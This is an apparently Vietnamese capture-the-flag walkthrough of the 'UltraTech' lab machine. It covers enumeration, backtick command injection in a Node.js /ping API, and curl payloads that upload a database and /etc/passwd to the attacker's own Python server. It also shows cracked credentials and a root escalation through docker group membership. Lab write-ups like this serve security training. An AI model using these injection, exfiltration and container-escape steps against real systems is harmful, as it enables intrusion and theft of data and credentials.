UltraTech
The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing.
Initial Reconnaissance
Service Scanning
Vì server sử dụng một port không phổ biến, nếu chạy Nmap với chế độ quét toàn bộ port sẽ rất chậm. Thay vào đó, chúng ta dùng RustScan – một công cụ hiện đại có thể quét toàn bộ port trong vài giây – để thực hiện việc scan.
$ rustscan -a 10.10.249.4 -r 1-65535 -- -sV
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 60 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp open http syn-ack ttl 60 Node.js Express framework
31331/tcp open http syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelKết quả cho thấy có 4 port mở. Port 21 chạy vsftpd 3.0.3. Port 22 chạy OpenSSH và cho thấy hệ điều hành là Ubuntu. Port 8081 chạy HTTP với Node.js Express framework. Port 31331 chạy HTTP với Apache 2.4.29.
HTTP 8081
Ở port 8081, chúng ta thấy đang host một API server tên UltraTech, phiên bản 0.1.3.

Directory Enumeration
Khi dùng Gobuster để quét các thư mục và file ẩn, chúng ta phát hiện ra hai API endpoint.
$ gobuster dir -u http://10.10.249.66:8081/ -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt,html -b 404,403
...
/auth (Status: 200) [Size: 39]
/ping (Status: 500) [Size: 1094]/auth

Chúng ta sau đó thử một số default credentials phổ biến như admin:admin, admin:password, hay root:root nhưng đều thất bại.

Tuy nhiên, vì API thiếu cơ chế kiểm tra input (ít nhất là ở phía client), khả năng cao nó dễ bị tấn công SQL Injection.
/ping

Dựa vào lỗi trả về, chúng ta biết backend đang chạy bằng NodeJS.
HTTP 31331

Landing page không tiết lộ thông tin hữu ích nào.
Directory Enumeration
Chúng ta tiếp tục chạy directory scan trên website này.
$ gobuster dir -u http://10.10.249.66:31331/ -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt,html -b 404,403
/css (Status: 301) [Size: 317] [--> http://10.10.249.4:31331/css/]
/favicon.ico (Status: 200) [Size: 15086]
/images (Status: 301) [Size: 320] [--> http://10.10.249.4:31331/images/]
/index.html (Status: 200) [Size: 6092]
/index.html (Status: 200) [Size: 6092]
/javascript (Status: 301) [Size: 324] [--> http://10.10.249.4:31331/javascript/]
/js (Status: 301) [Size: 316] [--> http://10.10.249.4:31331/js/]
/partners.html (Status: 200) [Size: 1986]
/robots.txt (Status: 200) [Size: 53]
/robots.txt (Status: 200) [Size: 53]
/what.html (Status: 200) [Size: 2534]/images

Thư mục /images có thể truy cập công khai, nhưng không chứa dữ liệu nhạy cảm.
/robots.txt

File robots.txt lại tiết lộ một sitemap nằm ở /utech_sitemap.txt, trong đó có ba trang mà trước đó Gobuster cũng đã tìm ra.

/what.html

/partners.html

Trang login sử dụng API endpoint /auth để xác thực người dùng. Và khi phân tích bằng Burp Suite, chúng ta thấy trang còn gửi request đến endpoint /ping mỗi 10 giây.

Theo request và response, /ping nhận vào một địa chỉ IP, sau đó thực hiện lệnh hệ thống ping và trả về kết quả.

Vì không có cơ chế kiểm tra input từ người dùng, ít nhất là phía client, endpoint này có khả năng dễ bị OS Command Injection.
SQL Injection Testing
Chúng ta dùng Burp Suite Intruder để kiểm tra SQL Injection với cấu hình: chế độ Sniper, chọn vị trí ở tham số login và password, payload dạng simple list.
/usr/share/wordlists/seclists/Fuzzing/SQLi/quick-SQLi.txt

Tuy nhiên không payload nào cho thấy API bị dính SQL Injection.
OS Command Injection Testing
Trong khi đó, chúng ta thử chèn flag -c vào tham số IP và thấy server có thể ping localhost nhiều lần. Điều này chứng minh API bị dính OS Command Injection.

Tiếp tục thử các dấu phân cách lệnh như ;, &&, ||, | nhưng đều thất bại, nhiều khả năng đã bị filter phía server.

Tuy nhiên, ký tự backtick (`) không bị lọc, cho phép thực thi lệnh lồng nhau, ví dụ như id.

Do cách tham số được xử lý, chỉ chuỗi đầu tiên (cắt bởi khoảng trắng) được xem là host, nên output của lệnh không hiện đầy đủ.
Database File Disclosure
Bằng lệnh ls, chúng ta phát hiện tên file database.

Vì output không hiển thị hết, chúng ta dựng một HTTP server bằng Python trên máy của mình để exfiltrate file database này, bằng cách upload trực tiếp từ target.
$ cat server.py
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
class UploadServer(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
filename = self.headers.get('X-Filename', 'uploaded.sqlite')
data = self.rfile.read(content_length)
with open(filename, 'wb') as f:
f.write(data)
print(f"[+] Received and saved file: {filename}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"Upload complete\n")
if __name__ == "__main__":
server_address = ('0.0.0.0', 4242)
httpd = HTTPServer(server_address, UploadServer)
print("Listening on port 4242...")
httpd.serve_forever()
$ py server.py
Listening on port 4242...Payload được chèn vào để tải file database lên server:
`curl --data-binary @"utech.db.sqlite" -H "X-Filename: utech.db.sqlite" http://10.17.21.52:4242`
Log tại Python server cho thấy file đã được upload thành công.
Credentials Disclosure
File database chứa một loạt credentials.
$ sqlite3 utech.db.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> .schema users
CREATE TABLE users (
login Varchar,
password Varchar,
type Int
);
sqlite> select * from users;
admin|0d0ea5111e3c1def594c1684e3b9be84|0
r00t|f357a0c52799563c7c7b76c1e7543a32|0Các password này dễ dàng bị crack bằng công cụ hash cracker trực tuyến.

| username | password |
|---|---|
| admin | mrsheafy |
| r00t | n100906 |
System Users Disclosure
Sau đó, chúng ta áp dụng cùng kỹ thuật để exfiltrate file /etc/passwd và thu được danh sách user trên hệ thống.
`curl --data-binary @"/etc/passwd" -H "X-Filename: passwd" http://10.17.21.52:4242`
$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
r00t:x:1001:1001::/home/r00t:/bin/bash
www:x:1002:1002::/home/www:/bin/shTrong đó có user r00t (không phải root thực sự), còn admin thì không tồn tại.
Authentication Attempts (/auth API endpoint)
Cuối cùng, chúng ta thử dùng credentials thu được để xác thực với API /auth. Tuy vậy, vẫn không tìm được thêm thông tin nào khác.


Shell as r00t
Chúng ta có thể SSH vào hệ thống với user r00t bằng credentials đã thu được trước đó.
ssh r00t@10.10.249.66
The authenticity of host '10.10.249.66 (10.10.249.66)' can't be established.
ED25519 key fingerprint is SHA256:g5I2Aq/2um35QmYfRxNGnjl3zf9FNXKPpEHxMLlWXMU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.249.66' (ED25519) to the list of known hosts.
r00t@10.10.249.66's password:
...
r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)Shell as root
r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)Khi kiểm tra, ta thấy r00t thuộc nhóm docker. Điều này cho phép kẻ tấn công khởi chạy một container Docker với quyền root (bên trong container). Tuy nhiên, nếu mount thư mục gốc / của host vào trong container, chúng ta sẽ có thể truy cập toàn bộ filesystem của host, mặc dù đang ở trong môi trường container.
Câu lệnh Docker này được tham khảo từ cheatsheet sau:
r00t@ultratech-prod:~$ docker run -it --rm -v /:/mnt bash
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)Khi thực hiện, thư mục gốc / của host được mount vào /mnt/root/ trong container, cho phép ta toàn quyền thao tác trên hệ thống host.
bash-5.0# cd /mnt/root/
bash-5.0# ls -la
total 40
drwx------ 6 root root 4096 Mar 22 2019 .
drwxr-xr-x 23 root root 4096 Mar 19 2019 ..
-rw------- 1 root root 844 Mar 22 2019 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Mar 22 2019 .cache
drwx------ 3 root root 4096 Mar 22 2019 .emacs.d
drwx------ 3 root root 4096 Mar 22 2019 .gnupg
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 0 Mar 22 2019 .python_history
drwx------ 2 root root 4096 Mar 22 2019 .ssh
-rw-rw-rw- 1 root root 193 Mar 22 2019 private.txt
bash-5.0# cat private.txt
## Life and acomplishments of Alvaro Squalo - Tome I
Memoirs of the most successful digital nomdad finblocktech entrepreneur
in the world.
By himself.
### Chapter 1 - How I became successful